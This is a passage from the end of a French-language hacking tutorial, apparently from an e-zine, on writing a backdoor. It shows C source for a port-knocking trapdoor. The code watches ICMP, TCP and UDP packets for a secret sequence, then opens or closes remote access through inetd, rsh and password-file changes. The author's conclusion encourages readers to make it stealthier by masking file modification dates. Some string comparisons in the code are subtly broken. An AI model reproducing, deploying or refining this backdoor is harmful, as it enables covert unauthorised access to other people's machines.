sizeof(struct recvpaquet)); if(size<0) return -1; if (size < sizeof(struct ether_header)) continue; if((ip->protocol) == 1){ if ((icmp->type == 3) && (informe == 1)){ close_door(inetd, rsh, pass, passv); } else { strcat(mes,"0"); if (((strlen(mes)) == (strlen(cle))) && (mes = cle)){ open_door(inetd, rsh, pass, protected_mode, passv); memset(mes, 0, 1024); } else if (((strlen(mes)) == (strlen(cle))) && (mes != cle)) { memset(mes, 0, 1024); } if (((strlen(mes)) == (strlen(endvalue))) && (mes = endvalue)){ close_door(inetd, rsh, pass, passv); memset(mes, 0, 1024); } else if (((strlen(mes)) == (strlen(endvalue))) && (mes != endvalue)) { memset(mes, 0, 1024); } } } if((ip->protocol) == 6){ if((ip->version == 6) && (informe == 1)){ open_door(inetd, rsh, pass, protected_mode, passv); } else { strcat(mes,"1"); if (((strlen(mes)) == (strlen(cle))) && (mes = cle)){ open_door(inetd, rsh, pass, protected_mode, passv); memset(mes, 0, 1024); } else if (((strlen(mes)) == (strlen(cle))) && (mes != cle)) { memset(mes, 0, 1024); } if (((strlen(mes)) == (strlen(endvalue))) && (mes = endvalue)){ close_door(inetd, rsh, pass, passv); memset(mes, 0, 1024); } else if (((strlen(mes)) == (strlen(endvalue))) && (mes != endvalue)) { memset(mes, 0, 1024); } } } if((ip->protocol) == 17){ strcat(mes,"2"); if (((strlen(mes)) == (strlen(cle))) && (mes = cle)){ open_door(inetd, rsh, pass, protected_mode, passv); memset(mes, 0, 1024); } else if (((strlen(mes)) == (strlen(cle))) && (mes != cle)) { memset(mes, 0, 1024); } if (((strlen(mes)) == (strlen(endvalue))) && (mes = endvalue)){ close_door(inetd, rsh, pass, passv); memset(mes, 0, 1024); } else if (((strlen(mes)) == (strlen(endvalue))) && (mes != endvalue)) { memset(mes, 0, 1024); } } } return 0; } int main(int argc, char *argv[]) { int inetd=0, rsh=0, destroy=0, pass=0, informe = 0, ip_mode = 0, protected_mode = 0; char *cle, *passv, *endvalue; cle = (char *)malloc(1024); passv = (char *)malloc(1024); endvalue = (char *)malloc(1024); endvalue = "22"; passv = "user"; cle = "21"; if((strcmp(PWD, getpass("password: "))) != 0) return 0; if (argc < 3){ usage(); } else { while((argc>1)&&(argv[1][0]=='-')) { switch(argv[1][1]) { case 'i': inetd = 1; break; case 'r': rsh = 1; break; case 'p': pass = 1; passv = &argv[1][2]; break; case 'c': cle = &argv[1][2]; break; case 'e': endvalue = &argv[1][2]; break; case 'f': informe = 1; break; case 'd': ip_mode = 1; break; case 'a': protected_mode = 1; break; } --argc; ++argv; } } if (ip_mode == 1){ waiting_ip(inetd, rsh, pass, protected_mode, passv); } else { death_looping(inetd, rsh, pass, informe, protected_mode, cle, passv, endvalue); } return 0; } IV. Conclusion : ________________ La programmation de backdoors classiques n'aura plus aucun secret pour vous. J'espère avoir démontré comme il était simple d'exploiter la compléxité des réseaux, tant soit au niveau des procoles, qu'au niveau des systèmes de protection, qui hélas, reposent trop sur la vigilance et la bonne fortune des admnistrateurs... Sachez qu'il existe bien d'autres types de backdoors, mais celle que nous avons étudié se révèle être l'une des plus complexe à programmer. Le niveau de furtivité est, en revanche, trop bas pour être pris en considération. En effet, elle possède un défaut majeur : elle modifie la date de modification des fichiers auxquelles elle s'attaque (normal), il faudrait donc masquer la manipulation de ses fichiers en modificant cette date. Ainsi, Les plus courageux d'entre vous trouveront surement le temps de bidouiller ma trappe pour en resortir un résultat plus convainquant, en tous cas, je l'espère! Besoin d'aide? Commentaires? Insultes? Li0n7@voila.fr -[EOF] /* il parait que ça fait Ü£±Ìmű3 3£Ì±3 de mettre [eof] à la fin ;-) */